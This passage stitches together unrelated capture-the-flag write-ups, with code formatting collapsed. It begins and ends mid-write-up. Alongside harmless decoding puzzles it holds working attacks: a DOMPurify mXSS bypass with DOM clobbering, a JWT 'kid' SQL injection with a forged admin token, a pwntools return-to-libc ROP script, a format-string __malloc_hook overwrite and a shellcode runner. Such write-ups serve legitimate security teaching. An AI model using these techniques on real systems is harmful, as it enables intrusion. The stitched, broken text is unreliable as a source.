<script> function onSubmit(token) { fetch(`/report.php`, { method: 'post', headers: { 'Content-Type': 'application/x-www-form-urlencoded', }, body: `id=&token=${token}`, }).then(r => r.json()).then(d => { if (d['success']) { alert('successfully shared'); } else { alert(`error: ${d['msg']}`); } }) } </script> <div id="program"></div> <div id="output"></div> <form id="share"> <button class="g-recaptcha" data-sitekey="<?=$SITE_KEY?>" data-callback="onSubmit">report</button> </form>
</body></html> ```
Going over the sources, it was clear that SQLi was not the way to go for this one.That's nice, we understand a a little bit more about what's going on.After inspecting this file, a few leads came to mind that I thought should be mentioned here.
- `/js/bf.js` is loaded **before** `purify.min.js` creating a possible undefined behavior.- There is no `exit()` after setting the `Location` header, the body is sent along with the redirect response. We also noticed that there is a Javascript injection in the response if we set `?id` to a malicious payload. This is unfortunately not exploitable as the browser does not render the response's body if a `302` status is sent from the server.- Using HPP, we can set `content` to an array, causing a weird behavior which is also not exploitable.
---
## Mutating HTML
Pretty quick we managed to get the `DOM Clobbering` working so we can trigger the `innerHTML` flow.
```html<form id="CONFIG"><input type="text" id="unsafeRender"></input></form>```
The main problem now is `DOMPurify.sanitize`, it pretty much prevents us from doing anything other than that clobbering attack...
Quick search about `DOMPurify` vulnerabilities and exploits brings up this article:
- https://research.securitum.com/dompurify-bypass-using-mxss/
This is a very interesting idea, trying the suggested payload gives us something interesting:
```html
<svg><style>
<div id="program"> <svg></svg> <style> ></div>```
Sadly, not XSS for us **BUT** there is a new <style> element in the page now! Trying to simply post a <style></style> note results in an empty output from `sanitize`, so, is it interesting? Consider the next payload:
```html<svg><style id=output>```
Posting this payload will result in a new <style> element with the `id` "output"!The first slightly interesting thing we managed to get - **CSS Injection**
```html[<svg><style id=output>]```
Followed by the output of:
```pythonprint encode("html{background-color: blue}")```
Nice, if only the flag was an attribute of an element on the page, we could leak it!
## The solution
At this point, we decided to look a little more into `DOMPurify`, visiting the project's Git page!Interestingly enough, `bfnote` uses `/dompurify/2.0.16/purify.min.js` and the official git page lists **`2.0.17`** as the Latest release!
Let's have a look at the changelog!https://github.com/cure53/DOMPurify/compare/2.0.16...2.0.17
Specifically:https://github.com/cure53/DOMPurify/compare/2.0.16...2.0.17#diff-f44bc3a1bfaa31000b8f4f1359dba82a
Hmm... seems like the library is not perfect just yet, and that the version used in this challenge is still vulnerable to some mXSS!Finally, we craft a neat payload that successfully appends a tag with malicious attributes!
```html<math><mtext><table><mglyph><style><div>CLICKME</div>
<div id="program"> <math> <mtext> <mglyph> <style></style> </mglyph> <div> CLICKME </div> <table></table> </mtext> </math></div>```
Quickly checking the browser's console: `Uncaught ReferenceError: tttt is not defined`Wohoo! From this point it was simply putting it all together to get it over the line:
```html[<math><mtext><table><mglyph><style><div>CLICKME</div>][<form id="CONFIG"><input type="text" id="unsafeRender"></input></form>]```
Followed by the output of:
```pythonprint encode("")```
And there you have it: **`flag=TWCTF{reCAPTCHA_Oriented_Programming_with_XSS!}`**reCaptcha what? HUH? oops... |
# baby_mult
Author: [roerohan](https://github.com/roerohan)
# Requirements
- C- GDB
# Source
- [program.txt](./program.txt)
```Welcome to reversing! Prove your worth and get the flag from this neat little program!```
# Exploitation
The following numbers are written in `program.txt`.
```85, 72, 137, 229, 72, 131, 236, 24, 72, 199, 69, 248, 79, 0, 0, 0, 72, 184, 21, 79, 231, 75, 1, 0, 0, 0, 72, 137, 69, 240, 72, 199, 69, 232, 4, 0, 0, 0, 72, 199, 69, 224, 3, 0, 0, 0, 72, 199, 69, 216, 19, 0, 0, 0, 72, 199, 69, 208, 21, 1, 0, 0, 72, 184, 97, 91, 100, 75, 207, 119, 0, 0, 72, 137, 69, 200, 72, 199, 69, 192, 2, 0, 0, 0, 72, 199, 69, 184, 17, 0, 0, 0, 72, 199, 69, 176, 193, 33, 0, 0, 72, 199, 69, 168, 233, 101, 34, 24, 72, 199, 69, 160, 51, 8, 0, 0, 72, 199, 69, 152, 171, 10, 0, 0, 72, 199, 69, 144, 173, 170, 141, 0, 72, 139, 69, 248, 72, 15, 175, 69, 240, 72, 137, 69, 136, 72, 139, 69, 232, 72, 15, 175, 69, 224, 72, 15, 175, 69, 216, 72, 15, 175, 69, 208, 72, 15, 175, 69, 200, 72, 137, 69, 128, 72, 139, 69, 192, 72, 15, 175, 69, 184, 72, 15, 175, 69, 176, 72, 15, 175, 69, 168, 72, 137, 133, 120, 255, 255, 255, 72, 139, 69, 160, 72, 15, 175, 69, 152, 72, 15, 175, 69, 144, 72, 137, 133, 112, 255, 255, 255, 184, 0, 0, 0, 0, 201```
These are actually bytes of a piece of shell code in integer. You can write a simple C program to run the shell code.
```c#include<stdio.h>#include<string.h>
main(){ unsigned char code[] = "\x55\x48\x89\xe5\x48\x83\xec\x18\x48\xc7\x45\xf8\x4f\x00\x00\x00\x48\xb8\x15\x4f\xe7\x4b\x01\x00\x00\x00\x48\x89\x45\xf0\x48\xc7\x45\xe8\x04\x00\x00\x00\x48\xc7\x45\xe0\x03\x00\x00\x00\x48\xc7\x45\xd8\x13\x00\x00\x00\x48\xc7\x45\xd0\x15\x01\x00\x00\x48\xb8\x61\x5b\x64\x4b\xcf\x77\x00\x00\x48\x89\x45\xc8\x48\xc7\x45\xc0\x02\x00\x00\x00\x48\xc7\x45\xb8\x11\x00\x00\x00\x48\xc7\x45\xb0\xc1\x21\x00\x00\x48\xc7\x45\xa8\xe9\x65\x22\x18\x48\xc7\x45\xa0\x33\x08\x00\x00\x48\xc7\x45\x98\xab\x0a\x00\x00\x48\xc7\x45\x90\xad\xaa\x8d\x00\x48\x8b\x45\xf8\x48\x0f\xaf\x45\xf0\x48\x89\x45\x88\x48\x8b\x45\xe8\x48\x0f\xaf\x45\xe0\x48\x0f\xaf\x45\xd8\x48\x0f\xaf\x45\xd0\x48\x0f\xaf\x45\xc8\x48\x89\x45\x80\x48\x8b\x45\xc0\x48\x0f\xaf\x45\xb8\x48\x0f\xaf\x45\xb0\x48\x0f\xaf\x45\xa8\x48\x89\x85\x78\xff\xff\xff\x48\x8b\x45\xa0\x48\x0f\xaf\x45\x98\x48\x0f\xaf\x45\x90\x48\x89\x85\x70\xff\xff\xff\xb8\x00\x00\x00\x00\xc9"; int (*ret)() = (int(*)())code;
ret();}```
Now, open the file in `gdb` and break at let it run the shellcode. Stop at the end of the shellcode and observe the stack. It would look like:
```0x7fffffffdbc0: 0x72346d7d 0x00003067 0x645f7072 0x00006c310x7fffffffdbd0: 0x725f7634 0x73757033 0x6c61677b 0x000000660x7fffffffdbe0: 0x008daaad 0x00000000 0x00000aab 0x000000000x7fffffffdbf0: 0x00000833 0x00000000 0x182265e9 0x000000000x7fffffffdc00: 0x000021c1 0x00000000 0x00000011 0x000000000x7fffffffdc10: 0x00000002 0x00000000 0x4b645b61 0x000077cf0x7fffffffdc20: 0x00000115 0x00000000 0x00000013 0x000000000x7fffffffdc30: 0x00000003 0x00000000 0x00000004 0x00000000```
Read the string from the stack, you would get the following flag
```flag{sup3r_v4l1d_pr0gr4m}``` |
Original Writeup: [https://github.com/crr0tz-4-d1nn3r/CTFs/tree/master/bsidesbos_2020/Steganography/SaveTheWorld](https://github.com/crr0tz-4-d1nn3r/CTFs/tree/master/bsidesbos_2020/Steganography/SaveTheWorld)# Saving the World
Sometimes I dream of saving the world. Saving everyone from the invisible hand, the one that brands us with an employee badge, the one the forces us to work for them, the one that controls us every day without us knowing it. But I can't stop it. I'm not that special. I'm just anonymous. I'm just alone.
[Download the file -- see github]
# Flag```shellflag{take_care_of_whiterose}```
# SolutionDownload the file and open to view. Looks like and ad with some interesting numbers. Looked like character values A=1 .. Z = 26.```shell6 2 26 8 16 21 17 18 3 18 1 17 6 8 3 2 1 14 5 18 17 10 21 18 18 25 15 14 5 5 2 10 20 25 14 13 18 17 10 22 7 21 5 14 22 1 10 14 7 18 5 15 18 6 22 17 18 7 21 18 10 21 22 7 18 16 21 22 16 24 18 1 6 7 21 18 3 14 6 6 10 2 5 17 22 6 7 10 18 25 25 22 16 24 25 2 6 18 6 16 7 2```
But decoded didn't look like much...```shellfbzhpuqrcraqfhcbanerqjurryoneebjtynmrqjvguenvajngreorfvqrgurjuvgrpuvpxrafgurcnffjbeqvfgjryyvpxybfrfpgb```
Tried a couple things like xor and sub. Ended up on ROT13:```shellsomuchdependsuponaredwheelbarrowglazedwithrainwaterbesidethewhitechickensthepasswordistwellicklosescto```Cleaned up, this reads "so much depends upon a red wheel barrow glazed with rain water beside the white chickens the password is twellicklosescto"
Password? Interesting. Lets see what steghide has to say:```shellkali@kali:~/Desktop$ steghide --info menu.jpg "menu.jpg": format: jpeg capacity: 6.5 KBTry to get information about embedded data ? (y/n) yEnter passphrase: embedded file "flag.txt": size: 29.0 Byte encrypted: rijndael-128, cbc compressed: yes```Embedded file? Extract it please```shellkali@kali:~/Desktop$ steghide extract -sf menu.jpg -p twellicklosescto wrote extracted data to "flag.txt".```
Open the file and get your flag.**** |
Looking at the data we get:
```(dp0I1S'D'p1sI2S'UCTF'p2sI3S'{'p3sI4I112sI5S'}'p4sI24S"I know that the intelligence agency's are onto me so now i'm using ways to evade them: I am just glad that you know how to use pickle. Anyway the flag is "p5s.```
So it looks like the middle bits between the `S'{'` and `S'}'` were about where the flag would sit. We weren’t sure what to do with this, but with the line `how to use pickle` and the obfuscation note from the challenge description, we did some Googling around obfuscation and `pickle`.
[`pickle` is a Python library](https://docs.python.org/3/library/pickle.html) used to (de-)serialize Python objects, where the objects are turned into bytestreams and vice-versa. However, this didn’t really help us until we found [this StackOverflow question](https://stackoverflow.com/questions/41005412/how-to-turn-pickle-output-into-an-unreadable-format)
>Heres [sic] a snippet from a save file i created with pickle (it’s a game):
>S’Strength'
>p4
>I5
>sS
>’Health'
>p8
>I100
Where the data was structured almost exactly like ours! That’s when we realised we’d been data that had been pickled, i.e. been the result of `pickle.dumps()`, which means all we had to do was run the reverse:
```import pickle
with open('data', 'r') as f: read_data = f.read() print(pickle.loads(bytes(read_data, 'utf-8')))```
This then spat out:
```{1: 'D', 2: 'UCTF', 3: '{', 4: 112, 5: 49, 6: 99, 7: 107, 8: 108, 9: 51, 10: 95, 11: 121, 12: 48, 13: 117, 14: 82, 15: 95, 16: 109, 17: 51, 18: 53, 19: 53, 20: 52, 21: 103, 22: 51, 23: '}', 24: "I know that the intelligence agency's are onto me so now i'm using ways to evade them: I am just glad that you know how to use pickle. Anyway the flag is "}```Which strings together:
`DUCTF{112499910710851951214811784951095153535210351}`Which is still not really the flag. Using [an ASCII table](http://www.asciitable.com/) for reference, we can then reference the ASCII values and convert each letter to create the flag.
**Flag**: `DUCTF{p1ckl3_y0uR_m3554g3}` **Tools**: Python (`pickle`), [ASCII table](http://www.asciitable.com/) |
# Maelstrom
This is a crypto problem that provides a `decrypt.py` file. If you try running it, it prints part of the flag and hangs.
There is a function `x` that is just checking whether or not a value is prime:
```pythondef x(num): if num > 1: for i in range(2, num): if (num % i) == 0: return False break return True else: return False```
You can write a better prime checker yourself, but I just used the `isprime` function in `sympy` and kept track of primes that have already been checked:
```bashpython3 -m venv venv. venv/bin/activatepip install sympy```
```pythonfrom sympy.ntheory import isprime
primes = set()
def x(num): if num in primes: return True else: n_prime = isprime(num) if n_prime: primes.add(num) return n_prime```
I included my edited `decrypt.py` file.
Flag: `flag{more_primes_more_good}` |
# my first echo server__Category__: Pwn __Points__: 416
> Hello there! I learnt C last week and already made my own > SaaS product, check it out! I even made sure not to use > compiler flags like --please-make-me-extremely-insecure, > so everything should be swell.> > `nc chal.duc.tf 30001`>> Hint - The challenge server is running Ubuntu 18.04.>> Attachement: [echos](./echos)
### Challenge OverviewThis challenge was pretty straightforward: You can control a format-string in 3 subsequent calls to printf. 
### Exploit OverviewMy exploit strategy was as follows:1. Leak libc address2. Overwrite `__malloc_hook`3. Trigger `malloc()` inside `printf()`
But first we needed to find the correct libc because "Ubuntu 18.04" is a bit vague. To do that leak the saved basepointer of main() and (apparently) substract 2192 from it to get the base address of the binary. After that you can leaksome .got values with `%X$s` where argument number `X` contains the address. I went for `printf` and `setvbuf`:```[*] printf @ 0x7fb56b96ee80[*] setvbuf @ 0x7fb56b98b2f0```Entering the offsets into a [libc-database](https://libc.rip) yielded that the libc in use is libc6_2.27-3ubuntu1_amd64. This step is actually important because if you go to packages.ubuntu.comdirectly and download the libc6-package for bionic you will get another libc which won't work.
__1. Leak libc address__ This can be done by leaking the return-address of `main()`. The stackframe of main() looks like this:
| rbp-Offset | Content | printf argument # ||-----------|-------------------|-----------------|| +8 | Return address | 19| 0 | Saved Basepointer | 18| -8 | Canary | 17| -16 | (Padding) | 16| -80 | input buffer | 8 - 15| -96 | (Padding) | 6 - 7
The argument indices start at 6 because the ABI dictates that the first 6 arguments go into some registers. The first argument is the format-string leaving 5 registers for printf arguments. Those would have printf argument numbers 1 - 5.
Thus the format string for leaking libc is: `%19$lx`
__2. Overwrite \_\_malloc_hook__ [malloc_hook(3)](https://www.man7.org/linux/man-pages/man3/malloc_hook.3.html) is a special variable inside glibc that lets you override default malloc-behaviour. When malloc is called it checks whether this variable is set andtransfers control to the hook if so. So effectively it is a function pointer. The format-string that can overwrite the hook is based on `%n`, must beconstructed dynamically though.See [exploit.py](./exploit.py) for more details on how to construct such a format-string.
__3. Trigger malloc inside printf__ This can be done by causing a huge output like `%65510c` or `%90000c`.
### FlagDUCTF{D@N6340U$_AF_F0RMAT_STTR1NG$} |
# Skid
This was a hacking blog with a sign in page. Even if you are not signed in, there is a cookie named `skidtoken` containing a JWT:
```eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiIsImtpZCI6InNraWQifQ.eyJ1c2VybmFtZSI6InNraWQifQ.sacXoUrQCXpaylE4a4RGrCawHqBJJVGfOozOaPxQqOo```
The header and payload sections decode to:```json{ "typ": "JWT", "alg": "HS256", "kid": "skid"}```
```json{ "username": "skid"}```
Tampering with the `kid` value in the header reveals a SQL injection vulnerability.

Adding values to the UNION shows that there are three columns returned by the query. If we UNION the query with arbitrary string values, we can sign the JWT with whatever we want.
Final header and payload sections:```json{ "typ": "JWT", "alg": "HS256", "kid": "aaaaaaa' UNION SELECT 'key','key','key';--"}```
```json{ "username": "admin"}```
Signing with the value `key` yields the new JWT:
```eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiIsImtpZCI6ImFhYWFhYWEnIFVOSU9OIFNFTEVDVCAna2V5Jywna2V5Jywna2V5JzstLSJ9.eyJ1c2VybmFtZSI6ImFkbWluIn0.EUb8sJ26d9T8QwkKL523ikI2CDEdPXLYl7s2P-KSLfk```
Replace the `skidtoken` cookie with the new JWT and refresh the page to see the flag.

`flag{sqli_jwt_neq_skid_stuff} ` |
Return2Libc + ORW
```CSS#!/usr/bin/python
from pwn import *
context(os='linux',arch='amd64')context.loglevel = 'DEBUG'context(terminal=['tmux','new-window'])
#p = process('./return-to-whats-revenge')#p = gdb.debug('./return-to-whats-revenge','b main')p = remote('chal.duc.tf', 30006)e = ELF('./return-to-whats-revenge')libc = ELF('./libc.so.6')
JUNK = "A"*56
gets = e.plt['gets']main = e.symbols['main']pltputs = e.plt['puts']gotputs = e.got['puts']poprdi = e.search(asm('pop rdi; ret')).next()bss = e.getsectionbyname('.bss')["shaddr"]+1200
payload = JUNK + p64(poprdi) + p64(bss) + p64(gets) + p64(poprdi) + p64(gotputs) + p64(pltputs) + p64(main)
p.recvuntil("to?\n")p.sendline(payload)p.sendline("flag.txt")
leak = u64(p.recvline().strip().ljust(8,'\x00'))print hex(leak)
libcputs = libc.symbols['puts']lba = leak - libcputssyscall = libc.search(asm('syscall; ret')).next() + lbapoprsi = libc.search(asm('pop rsi; ret')).next() + lbapoprdx = libc.search(asm('pop rdx; ret')).next() + lbapoprax = libc.search(asm('pop rax; ret')).next() + lba
payload = JUNK # Openpayload += p64(poprax)payload += p64(2)payload += p64(poprdi)payload += p64(bss)payload += p64(poprsi)payload += p64(0)payload += p64(syscall)# Readpayload += p64(poprax)payload += p64(0)payload += p64(poprdi) payload += p64(3)payload += p64(poprsi)payload += p64(bss)payload += p64(poprdx)payload += p64(50)payload += p64(syscall)# Writepayload += p64(poprax)payload += p64(1)payload += p64(poprdi)payload += p64(1)payload += p64(poprdx)payload += p64(50)payload += p64(syscall)
p.recvuntil("to?\n")p.sendline(payload)print p.recvline()
p.close()``` |
# Tim Tams
- **Category:** Misc- **Difficulty:** Easy- **Author:** QUT_WH
When I eat too many Tim Tams, I get rather slow!
**WARNING** You will want to turn down your audio for this one!
**Download:** https://storage.googleapis.com/files.duc.tf/uploads/Clive.wav
**File Hash (SHA256):** 4C1CC12D002956A83E168CA650B776B55AAC36F2131D0DF617BE7D55DBEF93D1
## Writeup
When I played the audio file, I immediately recognized it. I had already completed a challenge featuring the same kind of audio file, and after a long, tedious search, I discovered that this type of file is an SSTV (Slow-Scan Television) signal. SSTV is a method for image transmission over radio signals, which can be decoded using dedicated software such as **MMSSTV**. Let's play this audio file in **Audacity** and output the signal to a virtual audio cable connected to **MMSSTV**. If everything is set up correctly, it should generate this glorious image:

There's some text suspiciously similar to the flag format `QHPGS{UHZOYR_Z3Z3_1BEQ}`. A simple ROT13, and we get our flag `DUCTF{HUMBLE_M3M3_1ORD}`. |
# added protection:reversing:200ptsThis binary has some e^tra added protection on the advanced 64bit shellcode Files: [added_protection](https://play.duc.tf/files/995069740ac93fad823bc796269534ba/added_protection) [added_protection](added_protection)
# Solutionファイルが渡されるので実行するが、以下のようになるだけである。 ```bash$ ./added_protectionsize of code: 130Can u find the flag? E?```gdbで見るとループしているようだ。 眺めているとrdxレジスタにUTなる文字が入っているのを見つけることができた。 その場所が0x8001217だったのでブレークポイントを張り、ループを回す。 rdxの値は以下のように変化していた(一部出力は省略)。 ```bash$ gdb ./added_protectiongdb-peda$ startgdb-peda$ b *0x8001217gdb-peda$ cgdb-peda$ cgdb-peda$ cgdb-peda$ cgdb-peda$ cgdb-peda$ p $rdx$1 = 0x44b8gdb-peda$ cgdb-peda$ p $rdx$2 = 0x4355gdb-peda$ cgdb-peda$ p $rdx$3 = 0x4654gdb-peda$ cgdb-peda$ p $rdx$4 = 0x617b~~~```エンディアンを調整し、まとめると以下になる。 ```text0x4883ec644889b844554354467b616449b976346e636564456e49ba637279707433645349bb68656c6c436f646549bc7d4361```[Hex to ASCII Text Converter](https://www.rapidtables.com/convert/number/hex-to-ascii.html)にかけると以下になる。 ```textHìdH¸DUCTF{adI¹v4ncedEnIºcrypt3dSI»hellCodeI¼}Ca```不要な文字を取り除くとflagとなる。
## DUCTF{adv4ncedEncrypt3dShellCode} |
This challenge was basically a Reverse Image OSINT kindof challenge..
We used various techniques but **Yandex** and **Google Lens** helped us a lot..
Detailed writeup is on our [github](https://github.com/FrigidSec/CTFWriteups/tree/master/FwordCTF/OSINT/Tracking_a_Criminal) |
1. Extract the "swipe" file locally. I personally did this:
i) `` xxd -p swipe ``, copied the entire hex code ii) Used cyberchef to transform from hex and download the file
2. ``file output`` will give you that the extracted file is a Vim swap file
3. Rename file to ``output.swp`` and create a directory in ``/tmp/swipe/``
4. Recover vim file ``vim -r output.swp``
5. Use binwalk to extract the png file inside: ``binwalk --dd='.*' output.
6. Open up the PNG file and find the QR code that will eventually give you the flag. |
Original Writeup: [https://github.com/crr0tz-4-d1nn3r/CTFs/tree/master/bsidesbos_2020/Warmups/EzBake](https://github.com/crr0tz-4-d1nn3r/CTFs/tree/master/bsidesbos_2020/Warmups/EzBake)# EZ Bake OvenDo you like baking? Don't leave the oven on for too long!
Open the Deployment tab to start this challenge.
# Flag```shellflag{you_are_the_master_baker}```
# SolutionClicking on the deployment tab sets up a connection for us:
http://challenge.ctf.games:32575/
Navigating to the given site presents us with:
Last option - "magic cookies" sounds interesting. Started baking. Timer has nearly 120 Hours.... no, no, .. that won't do.
After messing around in the developer options on the browser, noticed that a cookie was set. base64 decoding shows that the time was set and each second the javascript checks the amount of time left. If we could change the cookie ...
Off to Burp suite.Navigate to the site and start baking. Intercept...Reload the page as capture the cookie. base64 encode the string of your choice. in this case:```shell{"recipe": "Magic Cookies", "time": "09/21/2020, 17:23:29"}```Which is roughly 120 hours ago. submit the altered request and when the site reloads... success |
1. Go for : ``strings harp.jpg | less``2. Scroll down until you get this:3. Take a look at the last characters from each row4. Extract your flag
|
# Where's the Body?
This is a warmup challenge that just had a simple static page with a few memes on it:

The page source didn't reveal anything interesting. But this was in `sitemap.xml`:

`MjQ2b3ZwYlEyZlBRc25aeDY4ZXJ1N3NIcHpoaUEzaGp1ZFR4WnJr` Base64 decodes to `246ovpbQ2fPQsnZx68eru7sHpzhiA3hjudTxZrk` which Base58 decodes to `flag{yellow_is_the_imp0ster}`. |
# Pwn/butterflyHK
*get RIP control*
File: `distribute.tar` (docker tarball)
`nc pwn.darkarmy.xyz 32770`
The library used in the solution code is [`pwnscripts`](https://github.com/152334H/pwnscripts). Try it!
## PreambleThis challenge involves a [`FILE*`-based](https://ctf-wiki.github.io/ctf-wiki/pwn/linux/io_file/introduction/) exploit, something which I've never done before. A lot of the information in this write-up might sound trivial or obvious if you're an expert, and some of the explanations here may be misleading (or even false!).
Nontheless, I've tried my best to keep this writeup factual and informative for beginners. Moving on:
## Inspection```bash$ tar tf distribute.tardistribute/distribute/Dockerfiledistribute/source/distribute/source/butterfly.cdistribute/source/Makefiledistribute/libc/distribute/libc/ld-linux-x86-64.so.2distribute/libc/libc.so.6distribute/extras/distribute/extras/ynetddistribute/extras/flagdistribute/extras/run.shdistribute/challenge_bin/distribute/challenge_bin/butterfly```We get a whole bunch of goodies for this challenge: the binary (`butterfly`), the source code (under `source/`; shown later), the libc, and a nice docker container that a player can use for testing.
`source/` has a `Makefile`, and the command shown is rather depressing:```makefile$ cat distribute/source/Makefileall: gcc -Wl,-z,now -fpie -fstack-protector-all -s butterfly.c -o butterfly```If you don't know what these flags are, have a look at `checksec`:```makefile Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled```With that out of the way, we can move on to `butterfly.c` (minified slightly):```c#include<stdio.h>#include<stdlib.h>#include<string.h>#include<fcntl.h>#include<unistd.h>
char *note[0x2];
long int getnum() { char buffer[0x20]; read(0,buffer,0x18); return atoll(buffer);}void setup() { setvbuf(stdin,0,2,0); setvbuf(stdout,0,2,0); setvbuf(stderr,0,2,0); alarm(20);}void handler() { char buffer[0x100]; note[0] = (char *)malloc(0x200); note[1] = (char *)malloc(0x200); printf("I need your name: "); read(0,buffer,0x50); puts(buffer); printf("Enter the index of the you want to write: "); long int idx = getnum(); if(idx < 2) { printf("Enter data: "); read(0,note[idx],0xe8); } puts("Bye"); _exit(0x1337);}int main() { setup(); handler();}````main()` calls two functions. `setup()` is nothing unusual — a standard io unbuffer, with an alarm to kill remotes — whereas `handler()` is the focal point for this challenge.
In `handler()`, a few things happen.1. Two `malloc(0x200)` pointers are written to `.bss` contingously (as the `note[2]` array)2. The client is queried for an input of `read(0x50)`3. The input is echoed back with `puts()`4. The client is queried for a `int64_t` value (of maximum strlen 0x18), `idx`, via the function `getnum()` * `if(idx < 2)`: The client is queried for `read(0xe8)` bytes to write into the buffer at `note[idx]`5. A leaving message is printed (`puts("Bye")`), and `_exit()` is called
The most glaring vulnerability here is definitely the `if()` check on step 4. Since `atoll()` is free to return negative numbers, `idx` can be used to write to any pointer that happens to lie behind `note[]` in allocated memory. It might even be possible to write *ahead* of `note[]`, because indexing a sufficiently negative `note[idx]` (i.e. `-idx>note`) might allow integer underflow to greater addresses<sup>1</sup>.
There's also a more subtle vulnerability in steps 2 & 3. `puts()` assumes a `\0`-terminated string, but `read()` doesn't mind if you just leave a dangling buffer open with no nul-terminator. If we send over *just enough* bytes to reach the beginning of an already-existing value on the stack, `puts()` will leak out values until it finds its first `\x00` byte:```bash$ printf 'AAAAAAAA' | nc pwn.darkarmy.xyz 32770 | xxd00000000: 4920 6e65 6564 2079 6f75 7220 6e61 6d65 I need your name00000010: 3a20 4141 4141 4141 4141 1087 71ee 657f : AAAAAAAA..q.e. # <-- 0x7f65ee718710 is leaked here!00000020: 0a45 6e74 6572 2074 6865 2069 6e64 6578 .Enter the index```This brings us to step 1 of the exploit:
## Leaking informationWe can whip up a quick bruteforcer to see what addresses we get to leak:```pythonfrom pwn import *context.binary = 'distribute/challenge_bin/butterfly'for OFF in range(0,0x51,8): p = remote('pwn.darkarmy.xyz', 32770) p.sendafter(': ', 'a'*OFF if OFF else '\n') output = p.recvline()[OFF:-1] log.info('%d:%r,%s' % (OFF,output, hex(u64(output.ljust(8,b'\0')))))``````python[*] 0:b'',0x0[*] 8:b'\x10Gz\xaeQ\x7f',0x7f51ae7a4710[*] 16:b'',0x0[*] 24:b'?2\x07\x854\x7f',0x7f348507323f[*] 32:b'',0x0[*] 40:b'\x10z|\x88\xfc\x7f',0x7ffc887c7a10[*] 48:b'',0x0[*] 56:b'',0x0[*] 64:b'',0x0[*] 72:b'\x10G\xf6\xff\x1b\x7f',0x7f1bfff64710[*] 80:b'\xe7\xb9J5S\x7f',0x7f53354ab9e7```This isn't enough information — what do any of these addresses point to?
I made a couple of patches<sup>2</sup> to the `Dockerfile` given, and got the `telescope` of `handler()`'s stack from `gdb`:```python0x00007fffffffe538│+0x0008: 0x00007fffffffe678 → 0x00007ffff7a05b97 → <__libc_start_main+231> mov edi, eax0x00007fffffffe540│+0x0010: "hi\n" ← $rsi # This is the "I need your name: " input0x00007fffffffe548│+0x0018: 0x00007ffff7ffe710 → 0x00007ffff7ffb000 → 0x00010102464c457f0x00007fffffffe550│+0x0020: 0x00000000000000000x00007fffffffe558│+0x0028: 0x00007ffff7de023f → <_dl_lookup_symbol_x+319> add rsp, 0x300x00007fffffffe560│+0x0030: 0x00000000000000000x00007fffffffe568│+0x0038: 0x00007fffffffe6b0 → 0x0000555555554860 → xor ebp, ebp0x00007fffffffe570│+0x0040: 0x00000000000000000x00007fffffffe578│+0x0048: 0x00000000000000000x00007fffffffe580│+0x0050: 0x00000000000000000x00007fffffffe588│+0x0058: 0x00007ffff7ffe710 → 0x00007ffff7ffb000 → 0x00010102464c457f0x00007fffffffe590│+0x0060: 0x00007ffff7b979e7 → "__vdso_getcpu"```We'll grab the mappings too, just for a bit more information:```(gdb) vmmap[ Legend: Code | Heap | Stack ]Start End Offset Perm Path0x0000555555554000 0x0000555555555000 0x0000000000000000 r-x /home/challenge/butterfly0x0000555555755000 0x0000555555756000 0x0000000000001000 r-- /home/challenge/butterfly0x0000555555756000 0x0000555555757000 0x0000000000002000 rw- /home/challenge/butterfly0x0000555555757000 0x0000555555778000 0x0000000000000000 rw- [heap]0x00007ffff79e4000 0x00007ffff7bcb000 0x0000000000000000 r-x /lib/x86_64-linux-gnu/libc-2.27.so0x00007ffff7bcb000 0x00007ffff7dcb000 0x00000000001e7000 --- /lib/x86_64-linux-gnu/libc-2.27.so0x00007ffff7dcb000 0x00007ffff7dcf000 0x00000000001e7000 r-- /lib/x86_64-linux-gnu/libc-2.27.so0x00007ffff7dcf000 0x00007ffff7dd1000 0x00000000001eb000 rw- /lib/x86_64-linux-gnu/libc-2.27.so0x00007ffff7dd1000 0x00007ffff7dd5000 0x0000000000000000 rw-0x00007ffff7dd5000 0x00007ffff7dfc000 0x0000000000000000 r-x /lib/x86_64-linux-gnu/ld-2.27.so0x00007ffff7ff3000 0x00007ffff7ff5000 0x0000000000000000 rw-0x00007ffff7ff8000 0x00007ffff7ffb000 0x0000000000000000 r-- [vvar]0x00007ffff7ffb000 0x00007ffff7ffc000 0x0000000000000000 r-x [vdso]0x00007ffff7ffc000 0x00007ffff7ffd000 0x0000000000027000 r-- /lib/x86_64-linux-gnu/ld-2.27.so0x00007ffff7ffd000 0x00007ffff7ffe000 0x0000000000028000 rw- /lib/x86_64-linux-gnu/ld-2.27.so0x00007ffff7ffe000 0x00007ffff7fff000 0x0000000000000000 rw-0x00007ffffffde000 0x00007ffffffff000 0x0000000000000000 rw- [stack]0xffffffffff600000 0xffffffffff601000 0x0000000000000000 --x [vsyscall]```So, there're 5 addresses we get to leak with the limited `read(0x50)`. Three of these are from `ld-linux` (+0x18, +0x28, +0x58), while the other two are from the stack (+0x38) and libc (+0x60).
There's a visible lack of a PIE leak here. Our write primitive, `read(note[idx])`, does its work on a PIE address, so there's not a lot we can immediately do with the leaked information here.
Let's move back a bit, and see what we can do with `note[]`.
## Write where?This part stumped me for the longest time, because I came in knowing absolutely nothing about `FILE*` exploitation. Let's have a talk about how I got to know about `FILE*`.
At this point, an ameteur exploiter knows two things:1. `0xe8` bytes can be written to any *pointer* that lies behind `note[]`<sup>3</sup>.2. From the `vmmap` output, *almost everything* behind `note[]` is **non-writable**. `note[]` is located at `$PIE+0x202050`, and everything behind `$PIE+0x202000` is read-only (or r-x)
`0x202050-0x202000==0x50`. Each element of `note[]` is 8-bytes, so there are only `0x50/8 == 10` places to write.
We can inspect these 10 places with the Interactive Disassembler:```c.data:0000000000202000 dq 0.data:0000000000202008 off_202008 dq offset off_202008 ; DATA XREF: sub_920+17↑rLOAD:0000000000202010 qword_202010 dq ? ; DATA XREF: sub_890↑oLOAD:0000000000202018 dq ?.bss:0000000000202020 ; FILE *stdout.bss:0000000000202028 align 10h.bss:0000000000202030 ; FILE *stdin.bss:0000000000202038 align 20h.bss:0000000000202040 ; FILE *stderr.bss:0000000000202048 byte_202048 db ? ; DATA XREF: sub_920↑r.bss:0000000000202049 align 10h.bss:0000000000202050 ; char *note[2]```At first, I was interested in the various `XREF`'d values; they pointed towards mysterious constructor functions that seemed ripe for exploitation. `sub_920` is even referenced by the `.fini_array`, which made me believe that it would be executed after `main()`.
That's not-at-all what happens. `handler()` calls `_exit()`, and that skips ahead of anything the `.fini_array` has to offer.
